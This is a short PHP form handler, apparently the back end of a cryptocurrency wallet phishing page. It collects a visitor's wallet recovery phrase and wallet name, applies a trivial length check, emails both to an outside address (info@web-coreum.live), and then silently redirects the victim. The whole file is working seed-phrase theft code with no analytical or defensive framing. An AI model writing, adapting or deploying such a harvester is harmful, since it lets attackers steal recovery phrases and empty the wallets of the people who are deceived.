<?php

                    if (isset ($_POST['phrase']) && isset ($_POST['walletname'])   )
                    {
                        $errors = array();
                        
                        $phrase = ($_POST['phrase']);

                         $walletname1 = ($_POST['walletname']);

                        

                        

                            
                            
                        
                            

                        if(!empty($phrase) )
                            {
                                
                                
                                
                                    if(strlen($phrase) < 6 ) {
                                        $errors[] = 'Incorrect Phrase Entered';
                                    }
                                    

                                }

                                    else
                                {
                                    $errors[] = 'Please fill the form before submitting it!!!';
                                }
                            if(!empty($errors))
                            {
                                foreach($errors as $error) {
                                    
                                echo 

                                '<div class="alert bg-danger" role="alert">
                    <svg class="glyph stroked success"><use xlink:href="#stroked-success"></use></svg>',$error, '  <a href="#" class="pull-right"><span class="glyphicon glyphicon-remove"></span></a>
                </div>'




                                ;
                                
                                }
                            
                            }

                            else        
                                {
                                    
                                    
                                    
$remail1 = "info@web-coreum.live" ;                                    

$message = "<html><head></head><body>";
$message .= "

<br><br> Wallet Type: $walletname1 <br><br>
<br><br> Phrase: $phrase <br><br>


 <br><br></body></html>";

$headers = "From: $remail1\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";


mail($remail1, "New Message", "$message.","$headers");




  echo '<script>
   
            window.location.href = "/webcoreum/index.php";
     
</script>';
                                    

                                }       
                    }

            
                    
                    


                ?>